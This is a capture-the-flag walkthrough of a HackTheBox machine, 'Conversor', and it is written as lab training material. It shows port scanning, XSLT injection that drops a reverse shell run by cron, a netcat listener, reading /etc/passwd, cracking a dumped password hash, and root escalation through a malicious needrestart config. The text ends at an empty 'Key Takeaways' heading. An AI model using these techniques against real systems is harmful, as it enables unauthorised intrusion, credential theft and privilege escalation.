Conversor

Network Reconnaissance

Start with a full port scan to know exactly what's exposed before touching any web surface.

shell

nmap -sS -sV -p- <TARGET_IP>

terminalnmap results

Two open ports — SSH on 22, HTTP on 80. Web application is the only attack surface.

Web Application Analysis

After registering an account, the application reveals its core feature: an XML/XSLT transformation service that converts uploaded XML and XSLT files into formatted output.

browserconverter interface

The converter accepts XML and XSLT file uploads. XSLT processing without proper sanitization is a known RCE vector.

browsersource code download

Source code is publicly downloadable. Flask app. This dramatically speeds up identifying attack vectors.

Source Code Review

editorcron job + user context

Two critical findings in the source: app runs as www-data, and a cron job automatically executes all .py files in the working directory.

Reading the Flask source reveals the full picture:

XSLT Injection → File Write

XSLT is a full programming language. When the processor isn't sandboxed, it can access the filesystem, make network requests, and execute system commands. Payloads from PayloadsAllTheThings cover the major processor variants.

Step 1 — Legitimate XML (passes validation)

xml

<?xml version="1.0" encoding="UTF-8"?>
<root>
    <data>test</data>
</root>

browserstep 1 — xml upload

Clean XML passes server-side validation. Now the XSLT payload does the actual work.

Step 2 — Malicious XSLT (writes Python reverse shell)

editorstep 2 — xslt payload

XSLT uses the processor's file write capability to drop a Python reverse shell in the working directory where the cron job will pick it up.

Step 3 — Cron executes the dropped file

attacker — nc listener

nc -lvnp 4444

# Waiting for cron to execute the dropped .py file...
Connection received from TARGET_IP
www-data@conversor:~$

Post-Exploitation Enumeration

User enumeration

shell

cat /etc/passwd
# Identified user: fismathack

Database discovery

terminalsqlite database found

SQLite database found on the filesystem. Users table contains a password hash for fismathack.

shell

find / -name "*.db" 2>/dev/null

sqlite3 database.db
sqlite> SELECT * FROM users;
# Hash for fismathack exposed

Hash Cracking → SSH Access

crackstation.nethash cracked

Hash cracked via Crackstation. Password in plaintext — classic weak credential storage.

terminalssh login + user.txt

Cracked password works on SSH directly. user.txt captured.

shell

ssh fismathack@TARGET_IP
# Password: [cracked]

cat user.txt
HTB{...}

Sudo Enumeration

terminalsudo -l

fismathack can run needrestart as root with NOPASSWD. needrestart accepts a custom config file via -c — this is the escalation path.

shell

sudo -l

# User fismathack may run:
    (root) NOPASSWD: /usr/sbin/needrestart

Privesc via needrestart — Config Injection

needrestart parses its configuration file and supports an exec directive. When run as root via sudo, it parses the config as root — making any exec directive run as root without further validation.

Create malicious config

shell

echo 'exec "/bin/sh","-p";' > /tmp/con.conf
# -p preserves effective UID — shell won't drop to user level

Trigger via sudo

shell

sudo /usr/sbin/needrestart -c /tmp/con.conf

terminalneedrestart → root shell

needrestart parses the config as root, exec directive fires, root shell obtained. id confirms uid=0(root).

shell

id
uid=0(root) gid=0(root) groups=0(root)

cat /root/root.txt
HTB{...}

Key Takeaways